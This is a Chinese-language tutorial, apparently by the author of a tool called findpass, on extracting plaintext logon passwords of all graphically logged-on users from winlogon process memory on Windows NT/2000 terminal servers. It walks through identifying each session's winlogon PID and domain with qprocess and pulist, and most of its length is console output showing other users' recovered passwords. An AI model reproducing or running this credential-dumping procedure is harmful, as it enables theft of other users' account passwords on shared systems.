by bingle
文中提到的工具可以在www.BingleSite.net上下载
这个工具是前年我从http://www.smidgeonsoft.com/的PasswordReminder改来了,PasswordReminder只能查找自己在内存中的密码,后来我简单修改了一下,因为登陆的域名和用户名是明文存储在winlogon进程里的,findpass 通过在winlogon进程中查找用户登陆信息来获取简单加密后的用户密码,进而破解获得明文密码。
findpass
只能获得所有图形登陆的用户密码(本地登陆和终端服务),而telnet等不行。目前只能用于WindowsNT和Windows
2000系统。
一个偶然的机会,我居然看到为这个工具作的一个动画教程,看来是比较难用把,我想它还是有点用的,所有把它的用法作了这个详细的教程。
findpass.exe
[DomainName] [UserName] [PID-of-WinLogon]
如果系统只有一个用户图形登陆,可以不需要参数。
如果有多个登陆会话,因为每个图形登陆都由一个winlogon进程负责,因此需要提供域名/登陆用户名/winlogon进程的pid作为参数,否则可能无法找到密码,这些参数信息的获得有2种途径:
(1) 如果你可以使用该机的windows任务管理器,让它显示pid、用户名和会话id,这样每个会话id都包含唯一一个winlogon进程,如果该会话有用户登陆,那么你也可以看到这个会话的登陆用户。
(2) 另外,这些信息都可以从pulist的输出中获得。不过因为pulist并没有显示会话id,我们就不知道哪个winlogon是负责哪个用户登陆的,因此必须把每个winlogon和每个用户轮流试验才行。
你也可以使用QProcess来获得进程的会话id,QProcess.exe是随win2000的终端服务一起安装在系统里的,一般使用Query.exe来调用它(Query.exe还可以获得其他一些信息),不过我们还是直接使用QProcess,QProcess和pslist类似,不过可以列出我们需要的会话信。
(1) 使用windows的任务管理器
1) 启动任务管理器,选择显示所有用户的进程,然后在'查看'菜单-->'选择列'下选择:pid、会话id、用户名。
2) 就会看到进程列表,点会话id,使其按会话id排序,就和下边显示的类似了。
3) 会话0,是本地登陆会话,都是system用户,说明没有用户登陆;会话1有用户administrator登陆;而会话2有bingle登陆。
4) 于是可以使用如下命令findpass domain administrator 1128查看会话1的用户密码,findpass domain bingle 444查看会话2的用户密码了。域名还是要用一下pulist、tokenInfor或者其他工具。
(2) 使用QProcess
1) 使用qprocess 列出所有winlogon.exe 的会话id和winlogon进程id,
2) 使用qprocess
获得所有已经登陆的用户和这些用户的会话id
3) 使用TokenInfor或者pulist查看各会话登陆域名
4) 用findpass与之前获得的相应信息获得各登陆会话的用户密码。
*** 先来试试运气
C:\Documents and Settings\bingle>findpass
To Find Password in the Winlogon process
Usage: FindPass.exe DomainName UserName PID-of-WinLogon
The debug privilege has been added to PasswordReminder.
The WinLogon process id is 248 (0x000000f8).
To find BINGLESITE\bingle password in process 248 ...
PasswordReminder is unable to find the password in memory.
*** 运气不佳
***
先来看看qprocess 的帮助
C:\Documents and Settings\bingle>qprocess /?
显示有关进程的信息。
QUERY PROCESS [* | processid | username | sessionname | /ID:nn | programname]
[/SERVER:servername] [/SYSTEM]
* 显示所有可见进程。
processid 显示 processid 指定的进程。
username 显示所有属于 username 的进程。
sessionname 显示所有在 sessionname 运行的进程。
/ID:nn 显示所有在会话 nn 处运行的进程。
programname 显示所有跟 programname 相关进程。
/SERVER:servername 要查询的终端服务器。
/SYSTEM 显示系统进程的进程信息。
*** 先来看看qprocess 的帮助,qprocess
的第一个参数可以是进程id、用户名、会话名、会话id、进程名或者*(全部用户进程,不包括系统进程)。第二个参数指定要查询的远程服务器,第二个参数指定查看系统进程。
*** 1) 使用qprocess
列出所有 winlogon.exe 的会话id和winlogon进程id,
C:\Documents and Settings\bingle>qprocess winlogon.exe /system
USERNAME SESSIONNAME ID PID IMAGE
system console 0 248 winlogon.exe
system rdp-tcp#7 1 1128 winlogon.exe
>system rdp-tcp#12 2 1260 winlogon.exe
*** 共有3个会话
*** 2) 使用qprocess
获得所有已经登陆的用户和这些用户的会话id
C:\Documents and Settings\bingle>qprocess *
USERNAME SESSIONNAME ID PID IMAGE
administrator rdp-tcp#7 1 412 rdpclip.exe
administrator rdp-tcp#7 1 964 explorer.exe
administrator rdp-tcp#7 1 896 daemon.exe
administrator rdp-tcp#7 1 792 conime.exe
administrator rdp-tcp#7 1 496 btdownloadgui.e
administrator rdp-tcp#7 1 1020 taskmgr.exe
administrator rdp-tcp#7 1 1320 editplus.exe
administrator rdp-tcp#7 1 1244 dexplore.exe
administrator rdp-tcp#7 1 724 mdm.exe
administrator rdp-tcp#7 1 916 cmd.exe
administrator rdp-tcp#7 1 1368 shareaza.exe
>bingle rdp-tcp#12 2 1348 rdpclip.exe
>bingle rdp-tcp#12 2 708 explorer.exe
>bingle rdp-tcp#12 2 1508 daemon.exe
>bingle rdp-tcp#12 2 1404 realsched.exe
>bingle rdp-tcp#12 2 1412 internat.exe
>bingle rdp-tcp#12 2 1724 cmd.exe
>bingle rdp-tcp#12 2 1452 conime.exe
>bingle rdp-tcp#12 2 1576 notepad.exe
>bingle rdp-tcp#12 2 1552 qprocess.exe
*** 会话0是本地登陆,没有用户登陆;1是administrator终端登陆;2是bingle终端登陆
*** 3) 使用TokenInfor或者pulist查看登陆域名
C:\Documents and Settings\bingle>pulist
smss.exe 160 NT AUTHORITY\SYSTEM
cmd.exe 916 BINGLESITE\Administrator
pulist.exe 2024 BINGLESITE\bingle
*** 两个会话的登陆域都是BINGLESITE
*** 4)
用findpass与之前获得的相应信息获得各登陆会话的用户密码。
C:\Documents and Settings\bingle>FindPass.exe binglesite administrator 248
To Find Password in the Winlogon process
Usage: FindPass.exe DomainName UserName PID-of-WinLogon
The debug privilege has been added to PasswordReminder.
The WinLogon process id is 1128 (0x00000468).
To find binglesite\administrator password in process 1128 ...
The encoded password is found at 0x007b0800 and has a length of 7.
The logon information is: binglesite/administrator/xxxxxxx.
The hash byte is: 0xf1.
*** got it
C:\Documents and Settings\bingle>FindPass.exe
binglesite bingle 1260
To Find Password in the Winlogon process
Usage: FindPass.exe DomainName UserName PID-of-WinLogon
The debug privilege has been added to PasswordReminder.
The WinLogon process id is 1260 (0x000004ec).
To find binglesite\bingle password in process 1260 ...
The encoded password is found at 0x007b0800 and has a length of 6.
The logon information is: binglesite/bingle/bingle.
The hash byte is: 0xa9.
*** got it
(3) 只使用pulist
1) pulist,找到系统里登陆的域名和用户名,及winlogon进程id
2) 然后给每个winlogon进程id查找所有的用户。
*** 1) pulist,找到系统里登陆的域名和用户名,及winlogon进程id
C:\Documents and Settings\bingle>pulist
Process PID User
Idle 0
System 8
smss.exe 164 NT AUTHORITY\SYSTEM
csrss.exe 192 NT AUTHORITY\SYSTEM
winlogon.exe 188 NT AUTHORITY\SYSTEM
wins.exe 1212 NT AUTHORITY\SYSTEM
Explorer.exe 388 TEST-2KSERVER\Administrator
internat.exe 1828 TEST-2KSERVER\Administrator
conime.exe 1868 TEST-2KSERVER\Administrator
msiexec.exe 1904 NT AUTHORITY\SYSTEM
tlntsvr.exe 1048 NT AUTHORITY\SYSTEM
taskmgr.exe 1752 TEST-2KSERVER\Administrator
csrss.exe 2056 NT AUTHORITY\SYSTEM
winlogon.exe 2416 NT AUTHORITY\SYSTEM
rdpclip.exe 2448 TEST-2KSERVER\clovea
Explorer.exe 2408 TEST-2KSERVER\clovea
internat.exe 1480 TEST-2KSERVER\clovea
cmd.exe 2508 TEST-2KSERVER\Administrator
ntshell.exe 368 TEST-2KSERVER\Administrator
ntshell.exe 1548 TEST-2KSERVER\Administrator
ntshell.exe 1504 TEST-2KSERVER\Administrator
csrss.exe 1088 NT AUTHORITY\SYSTEM
winlogon.exe 1876 NT AUTHORITY\SYSTEM
rdpclip.exe 1680 TEST-2KSERVER\bingle
Explorer.exe 2244 TEST-2KSERVER\bingle
conime.exe 2288 TEST-2KSERVER\bingle
internat.exe 1592 TEST-2KSERVER\bingle
cmd.exe 1692 TEST-2KSERVER\bingle
mdm.exe 2476 TEST-2KSERVER\bingle
taskmgr.exe 752 TEST-2KSERVER\bingle
pulist.exe 2532 TEST-2KSERVER\bingle
*** 2) 然后给每个winlogon进程id查找所有的用户。
C:\Documents and Settings\bingle>D:\FindPass.exe TEST-2KSERVER
administrator 188
To Find Password in the Winlogon process
Usage: D:\FindPass.exe DomainName UserName PID-of-WinLogon
The debug privilege has been added to PasswordReminder.
The WinLogon process id is 188 (0x000000bc).
To find TEST-2KSERVER\administrator password in process 188 ...
The encoded password is found at 0x008e0800 and has a length of 10.
The logon information is: TEST-2KSERVER/administrator/testserver.
The hash byte is: 0x13.
*** 运气好,一下就找到一个。
C:\Documents and Settings\bingle>D:\FindPass.exe TEST-2KSERVER
clovea 1876
To Find Password in the Winlogon process
Usage: D:\FindPass.exe DomainName UserName PID-of-WinLogon
The debug privilege has been added to PasswordReminder.
The WinLogon process id is 1876 (0x00000754).
To find TEST-2KSERVER\clovea password in process 1876 ...
PasswordReminder is unable to find the password in memory.
*** 看来这个winlogon不是这个用户的
C:\Documents and Settings\bingle>D:\FindPass.exe TEST-2KSERVER
bingle 1876
To Find Password in the Winlogon process
Usage: D:\FindPass.exe DomainName UserName PID-of-WinLogon
The debug privilege has been added to PasswordReminder.
The WinLogon process id is 1876 (0x00000754).
To find TEST-2KSERVER\bingle password in process 1876 ...
The logon information is: TEST-2KSERVER/bingle.
There is no password.
*** 看来这个winlogon是这个用户的
C:\Documents and Settings\bingle>D:\FindPass.exe TEST-2KSERVER
clovea 2416
To Find Password in the Winlogon process
Usage: D:\FindPass.exe DomainName UserName PID-of-WinLogon
The debug privilege has been added to PasswordReminder.
The WinLogon process id is 2416 (0x00000970).
To find TEST-2KSERVER\clovea password in process 2416 ...
The logon information is: TEST-2KSERVER/clovea.
There is no password.
*** 这个winlogon才是这个用户的
C:\Documents and Settings\bingle>
与我联系:bingle@email.com.cn , 欢迎到我的留言簿